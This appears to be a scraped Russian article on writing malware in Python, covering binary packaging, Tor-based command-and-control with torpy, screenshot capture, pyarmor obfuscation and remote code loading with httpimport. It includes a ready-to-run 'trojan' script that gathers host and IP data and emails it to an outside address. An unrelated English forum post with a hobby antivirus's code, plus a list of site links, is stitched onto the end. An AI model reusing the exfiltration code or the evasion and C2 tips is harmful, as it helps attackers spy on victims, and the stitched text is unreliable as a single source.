Есть PWOBot, на протяжении нескольких лет успешно заражавший компы в Восточной Европе (преимущественно в Польше). Есть PoetRAT, заразивший в начале этого года государственные компьютеры в Азербайджане. PoetRAT — вполне зрелый образец вредоносного кода, способный воровать учетки, делать снимки с камеры и логировать нажатия клавиш. Есть еще несколько десятков примеров вирусов на  Python, которые успешно расселились по интернету в достаточном количестве, чтобы попасться в поле зрения кибербезопасников.

Как нам теперь становится ясно, тема питонячих вирусов — совсем не такая дохлая, как кажется на первый взгляд. Давайте вместе посмотрим на то, как и с какими библиотеками пишутся зловреды на Python.

Упаковка в бинарники

Поскольку Python —  язык интерпретируемый, это создает некоторые трудности при дистрибуции зловредов: нужно, чтобы в ОС был интерпретатор нужной версии, а все необходимые библиотеки были установлены в правильные места на диске. Все это сильно мешает типу программ, который должен сам себя устанавливать и запускать. Поэтому питонячие вирусы, направленные на заражение клиентских машин (а ведь можно еще и заражать серверы) принято упаковывать в бинарный исполняемый файл, который содержит в себе либо интерпретатор с библиотеками в архиве, либо двоичную программу, собранную на основе Python кода.

  • https://www.py2exe.org/ — старый классический способ упаковки питонячих программ в бинарники. Он создает архив, в котором лежит интерпретатор,  ваш код + все необходимые зависимости. 
  • https://nuitka.net/ — более хитрый способ сборки бинарников. Этот инструмент транслирует Python код в  С и потом компилирует его. 

Антивирусы умеют распознавать шаблоны и типичные структуры вирусов, так они вычисляют зловредные программы по их типичным последовательностям байтов. Чтобы скрыться от антивируса,  виримейкеры делаю свой код самомодифицируемым — при каждой новой установке зловред переписывает свой код и порождает все новые и новые варианты двоичного файла, которые уже не опознаются антивирусами. Такой подход называется полиморфным кодированием и его невозможно применять в случае, если вы работаете с Python кодом, транслируемым в бинарник.  Лишенные основного инструменты противостояния антивирусам, питонячие зловреды весьма уязвимы даже перед самыми простыми антивирусными программами.

Но на многих компах сегодня нет ативирусов, поэтому вирусы на Python способы выживать и активно размножаться.

А шо вирусу делать?

Зловредам надо как-то общаться со своими владельцами, получать от них команды и обновления, передавать им добытые данные. Без обратной связи вирусы могут только мелко хулиганить. 

Для общения нужен какой-то удаленный адрес, с которым осуществляется обмен информацией. Регать домен и покупать  сервер — палевно: владельца вируса можно легко вычислить. Конечно, есть всякие анонимные хостинги и регистраторы доменов сомнительной честности, но и с ними риски не минимальны.

Более безопасный вариант — мессенджеры (IRC, Jabber) и, конечно же, Tor. 

Для обмена данными с хозяевами вирусы используют библиотеку torpy.  В ней все предельно просто — заводишь список адресов (на всякий случай, вдруг один из хостов отвалится), коннектишься к доступным  и получаешь апдейты к вирусу или команды.

from torpy import TorClient

hostname = 'ifconfig.me'  # It's possible use onion hostname here as well
tor = TorClient()
# Choose random guard node and create 3-hops circuit
with tor.create_circuit(3) as circuit:
    # Create tor stream to host
    with circuit.create_stream((hostname, 80)) as stream:
        # Now we can communicate with host
        stream.send(b'GET / HTTP/1.0rnHost: %srnrn' % hostname.encode())
        recv = stream.recv(1024)

Работа с tor c этой либой проста, не сложнее requests.

А шо бы своровать?

Воровство персональных данных — важная часть жизни любого вируса. Вопрос поиска и парсинга различных файлов с паролями перед программистами не стоит — это легко делается штатными средствами  Python. Перехват нажатий клавиш в ОС — сложнее, но это можно нагуглить. Для работы с вебкой — OpenCV.  Единственное, что вызывает вопросы — как делать скриншоты из Python?

На выручку приходит pyscreenshot. Предвосхищая ваши вопросы, скажу, что магии внутри библиотеки нет — она не умеет из Питона читать буфер экрана. В основе этого пакета лежит коллекция костылей и подпорок, которые определяют тип ОС, в которой работает ваша программа и дальше идет поиск внутри операционки доступных инструментов для снятия скриншотов.

# pyscreenshot/examples/grabfullscreen.py

"Grab the whole screen"
import pyscreenshot as ImageGrab

# grab fullscreen
im = ImageGrab.grab()

# save image file
im.save("fullscreen.png")

Звучит это все очень ненадежно, но библиотека адекватно справляется со снятием изображений с экрана на всех популярных платформах.

Серверная токсичность

Бэкдоры на Python для серверов  тоже встречаются в природе. Они тоже способны гадить в вашей системе, но механизмы работы у них уже другие.

Например, питонячему серверному вирусу не обязательно упаковываться в бинарник — интерпретатор Python есть на многих серваках: можно запускаться на нем.  Поэтому авторы зловредов для серверного применения вместо упаковки кода используют обфускацию — запутывание исходников так, чтобы их невозможно было прочитать.

Один из самых популярных инструментов для обфускации — pyarmor. Одна команда легко превращает ваш код в нечитаемую хрень и усложняет понимание текста программы.  Тема обфускации кода вообще сама по себе очень интересна, для углубления познаний по этой теме рекомендую ознакомиться с книгой. Pyarmor пригодится не только авторам вирусов, но и тем, кто хочеть по каким-то причинам защитить исходники от легкого прочтения. 

Вторая вещь, на которую нужно обратить внимание авторам серверного вредоносного ПО — наличие библиотек.

Конечно, можно весь код засунуть в один файл — но тогда он будет очень большим. Второй вариант — exec()/eval() и чтение кода с удаленного сервера: этот подход явно лучше!  Но самый  простой в реализации  способ — использование готовой библиотеки httpimport для удаленного импорта питонячих пакетов.

>>> with httpimport.remote_repo(['package1','package2','package3'], 'http://my-codes.example.com/python_packages'):
...     import package1
...
>>> with httpimport.github_repo('operatorequals', 'covertutils', branch = 'master'):
...     import covertutils
... # Also works with 'bitbucket_repo' and 'gitlab_repo'

Трояны

Теория

Так что же такое троян? Вирус — это программа, основная задача которой — копировать самого себя. Червь активно распространяется по сети (типичные примеры — Petya и WannaCry), а троян — это скрытая вредоносная программа, маскирующаяся под «хорошее» ПО.

Логика такого заражения заключается в том, что пользователь сам загружает вредоносное ПО на свой компьютер (например, под видом неработающей программы), сам отключает механизмы защиты (в конце концов, программа выглядит нормально) и хочет оставить его на долгое время. Хакеры здесь тоже не спят, поэтому время от времени появляются новости о новых жертвах пиратского программного обеспечения и программ-вымогателей, нацеленных на любителей халявы. Но мы знаем, что бесплатный сыр можно найти только в мыеловке, и сегодня мы очень легко научимся заполнять этот сыр чем-то неожиданным.



import smtplib as smtp
import socket
from getpass import getpass
from requests import get
hostname = socket.gethostname()
local_ip = socket.gethostbyname(hostname)
public_ip = get('http://api.ipify.org').text
email = 'demo@spy-soft.net'
password = '***'
dest_email = 'demo@spy-soft.net'
subject = 'IP'
email_text = (f'Host: {hostname}nLocal IP: {local_ip}nPublic IP: {public_ip}')
message = 'From: {}nTo: {}nSubject: {}nn{}'.format(email, dest_email, subject, email_text)
server = smtp.SMTP_SSL('smtp.yandex.com')
server.set_debuglevel(1)
server.ehlo(email)
server.login(email, password)
server.auth_plain()
server.sendmail(email, dest_email, message)
server.quit()

Вот и все

Это далеко не полный список того, что используют авторы зловредов на Python. Описанные выше инструменты и подходы научат вас тому, как мыслят вирусописатели и чем могут быть опасны подозрительные питонячие скрипты. 

Внимательно относитесь к малоизвестным зависимостям и пакетам, которые ставите в свои проекты. Не доверяйте обфусцированному коду и всегда просматривайте код малознакомых библиотек перед запуском.

Просмотры: 2 961

I wrote a simple antivirus in Python and would love feedback for additional ideas to implement, as well as general code review.

So far it has a FileScanner that checks against a database of known virus hashes and a network scanner that checks against a database of potentially malicious IP addresses.

I’m very curious about what I can do to move forward with this project.

#!/usr/bin/env python

import os
import re
import time
import psutil
import hashlib
import sqlite3
import requests
import threading
from bs4 import BeautifulSoup
from argparse import ArgumentParser


WINDOWS = os.name == 'nt'
if WINDOWS:
    from win10toast import ToastNotifier


class DB(object):
    # TODO: Log the URLS it's grabbed hashes from
    # And check the logged urls and skip over logged urls
    # when calling the self.update() function
    def __init__(self, db_fp='data.db'):
        self.db_fp = db_fp
        self.connect()

    def __enter__(self):
        return self

    def __exit__(self, type, value, traceback):
        self.close()

    def __repr__(self):
        return "<SQLite3 Database: {}>".format(self.db_fp)

    def connect(self):
        self.conn = sqlite3.connect(self.db_fp)
        self.cur = self.conn.cursor()

    def close(self):
        self.conn.commit()
        self.cur.close()
        self.conn.close()

    def create_tables(self):
        self.cur.execute('CREATE TABLE IF NOT EXISTS virus_md5_hashes(md5_hash TEXT NOT NULL UNIQUE)')
        self.cur.execute('CREATE TABLE IF NOT EXISTS processed_virusshare_urls(url TEXT NOT NULL UNIQUE)')
        self.cur.execute('CREATE TABLE IF NOT EXISTS high_risk_ips(ip TEXT NOT NULL UNIQUE)')
        self.conn.commit()

    def drop_tables(self):
        self.cur.execute('DROP TABLE IF EXISTS virus_md5_hashes')
        self.cur.execute('DROP TABLE IF EXISTS processed_virusshare_urls')
        self.cur.execute('DROP TABLE IF EXISTS high_risk_ips')
        self.conn.commit()

    def add(self, table, value):
        try:
            sql = f"INSERT INTO {table} VALUES (?)"
            self.cur.execute(sql, (value,))
        except sqlite3.IntegrityError as e:
            if 'UNIQUE' in str(e):
                pass # Do nothing if trying to add a duplicate value
            else:
                raise e

    def exists(self, vname, table, value):
        sql = f"SELECT {vname} FROM {table} WHERE {vname} = (?)"
        self.cur.execute(sql, (value,))
        return self.cur.fetchone() is not None

    def reset(self):
        '''
        reformats the database, think of it as a fresh-install
        '''
        # self.drop_tables() # This is soooo slow
        self.close()
        os.remove(self.db_fp)
        self.connect()
        self.update()

    def update(self):
        self.create_tables()
        self.update_md5_hashes()
        self.update_high_risk_ips()

    def update_md5_hashes(self):
        '''
        updates the sqlite database of known virus md5 hashes
        '''
        urls = self.get_virusshare_urls()
        for n, url in enumerate(urls):
            reprint(f"Downloading known virus hashes {n+1}/{len(urls)}")
            if not self.exists('url', 'processed_virusshare_urls', url):
                for md5_hash in self.get_virusshare_hashes(url):
                    self.add('virus_md5_hashes', md5_hash)
                self.add('processed_virusshare_urls', url)
            self.conn.commit()
        print()

    def get_virusshare_urls(self) -> list:
        '''
        returns a list of virusshare.com urls containing md5 hashes
        '''
        r = requests.get('https://virusshare.com/hashes.4n6')
        soup = BeautifulSoup(r.content, 'html.parser')
        return ["https://virusshare.com/{}".format(a['href']) for a in soup.find_all('a')][6:-2]

    def get_virusshare_hashes(self, url) -> str:
        '''
        parses all the md5 hashes from a valid virusshare.com url
        '''
        r = requests.get(url)
        return r.text.splitlines()[6:]

    def update_high_risk_ips(self):
        sources = [
            'https://blocklist.greensnow.co/greensnow.txt',
            'https://cinsscore.com/list/ci-badguys.txt',
            'http://danger.rulez.sk/projects/bruteforceblocker/blist.php',
            'https://malc0de.com/bl/IP_Blacklist.txt',
            'https://rules.emergingthreats.net/blockrules/compromised-ips.txt',
            'https://rules.emergingthreats.net/fwrules/emerging-Block-IPs.txt',
            'https://check.torproject.org/cgi-bin/TorBulkExitList.py?ip=1.1.1.1',
            'https://feodotracker.abuse.ch/blocklist/?download=ipblocklist',
            'https://hosts.ubuntu101.co.za/ips.list',
            'https://lists.blocklist.de/lists/all.txt',
            'https://myip.ms/files/blacklist/general/latest_blacklist.txt',
            'https://pgl.yoyo.org/adservers/iplist.php?format=&showintro=0',
            'https://ransomwaretracker.abuse.ch/downloads/RW_IPBL.txt',
            'https://raw.githubusercontent.com/firehol/blocklist-ipsets/master/stopforumspam_7d.ipset',
            'https://www.dan.me.uk/torlist/?exit',
            'https://www.malwaredomainlist.com/hostslist/ip.txt',
            'https://www.maxmind.com/es/proxy-detection-sample-list',
            'https://www.projecthoneypot.org/list_of_ips.php?t=d&rss=1',
            'http://www.unsubscore.com/blacklist.txt',
        ]
        for n, source in enumerate(sources):
            reprint(f"Downloading ips list: {n+1}/{len(sources)}")
            try:
                r = requests.get(source)
                for ip in re.findall(r'[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}', r.text):
                    self.add('high_risk_ips', ip)
            except requests.exceptions.RequestException:
                print(f"Exception at {source}")
        print()


class FileScanner(object):
    def __init__(self):
        self._bad_files = []

    def get_files_recursively(self, folder) -> str:
        '''
        :param folder: directory to resursively check for binary files
        :return: generator of all binary files (str == full path)
        '''
        for folder_name, sub_folder, filenames in os.walk(folder):
            for f in filenames:
                f = f"{folder_name}/{f}"
                yield f

    def get_md5(self, fp) -> str:
        '''
        :param fp: full path to a file
        :return: the md5 hash of a file
        '''
        md5_hash = hashlib.md5()
        with open(fp, "rb") as f:
            for chunk in iter(lambda: f.read(4096), b""):
                md5_hash.update(chunk)
        return md5_hash.hexdigest()

    def compare_against_database(self, fp):
        if is_binary(fp):
            with DB() as db: # db connection has to be called within the same thread accessing the db uhg.jpg
                md5_hash = self.get_md5(fp)
                if db.exists('md5_hash', 'virus_md5_hashes', md5_hash):
                    self._bad_files.append(fp)

    def scan(self, folder, max_threads=10):
        start_time = time.time()
        fp_gen = self.get_files_recursively(folder)
        count = 0
        try:
            while True:
                if threading.active_count() < max_threads:
                    fp = next(fp_gen)
                    t = threading.Thread(target=self.compare_against_database, args=(fp, ))
                    t.start()
                    count += 1
                    s = f'Scanning Files - Threads: {threading.active_count()}    Files Scanned: {count}     '
                    reprint(s)
                else:
                    time.sleep(0.01)
        except OSError:
            print(f"OSError: Bad file descriptor: {fp} {' ' * len(fp)}")
        except StopIteration:
            end_time = time.time()
            reprint(' ' * len(s))
            print(f"scanned {count} files in {round(end_time - start_time, 2)} seconds")
            for f in self._bad_files:
                print(f"INFECTED - {f}")


class NetworkScanner(threading.Thread):
    def __init__(self, timer=1):
        self._timer = timer
        self._running = True
        self.update_current_connections()
        self._displayed_notifications = []
        threading.Thread.__init__(self)

    def update_current_connections(self):
        self._current_connections = psutil.net_connections()

    def scan(self):
        with DB() as db:
            for conn in self._current_connections:
                if conn.status != "NONE" or conn.status != "CLOSE_WAIT":
                    if db.exists('ip', 'high_risk_ips', conn.laddr.ip):
                        self.notify(conn.laddr.ip, conn.laddr.port, conn.pid)
                    if conn.raddr:
                        if db.exists('ip', 'high_risk_ips', conn.raddr.ip):
                            self.notify(conn.raddr.ip, conn.raddr.port, conn.pid)

    def notify(self, ip, port, pid, duration=10):
        title, body = "High Risk Connection", f"{psutil.Process(pid).name()}n{ip}:{port} - {pid}"
        if body not in self._displayed_notifications:
            if WINDOWS:
                ToastNotifier().show_toast(title, body, duration=duration, threaded=True)
                self._displayed_notifications.append(body)
            else:
                print("{} {}".format(title, body))
                self._displayed_notifications.append(body)

    def run(self):
        print('[+] Network Scanner Initialized')
        while self._running:
            self.update_current_connections()
            self.scan()
            time.sleep(self._timer)

    def stop(self):
        print('[-] Network Scanner Stopping')
        self._running = False


def is_binary(fp, chunksize=1024) -> bool:
    """Return true if the given filename is binary.
    @raise EnvironmentError: if the file does not exist or cannot be accessed.
    @attention: found @ http://bytes.com/topic/python/answers/21222-determine-file-type-binary-text on 6/08/2010
    @author: Trent Mick <TrentM@ActiveState.com>
    @author: Jorge Orpinel <jorge@orpinel.com>"""
    try:
        with open(fp, 'rb') as f:
            while True:
                chunk = f.read(chunksize)
                if b'' in chunk: # found null byte
                    return True
                if len(chunk) < chunksize:
                    break
    except PermissionError:
        print(f"Permission Error: {fp} {' ' * len(fp)}")
    return False

def reprint(s):
    print(s, end='')
    print('r' * len(s), end='')

def parse_args():
    parser = ArgumentParser()
    parser.add_argument('path', default=os.getcwd(), type=str, help="path to scan")
    parser.add_argument('-u', '--update', action="store_true", default=False, help="updates database of virus definitions & high risk IP's")
    parser.add_argument('-t', '--threads', default=20, type=int, help="max threads for file scanner")
    return parser.parse_args()


def Main():
    # Testing for now
    args = parse_args()
    if args.update:
        with DB() as db:
            print('[+] Updating database')
            db.update()
    nsc = NetworkScanner()
    nsc.start()
    FileScanner().scan(args.path, args.threads)
    nsc.stop()


if __name__ == '__main__':
    Main()

Понравилась статья? Поделить с друзьями:
  • Как написать свой адрес на английском на письме
  • Как написать свой адрес на английском для доставки
  • Как написать свой адрес на английском для визы
  • Как написать свой аддон для майнкрафт пе
  • Как написать свой автопортрет 6 класс обществознание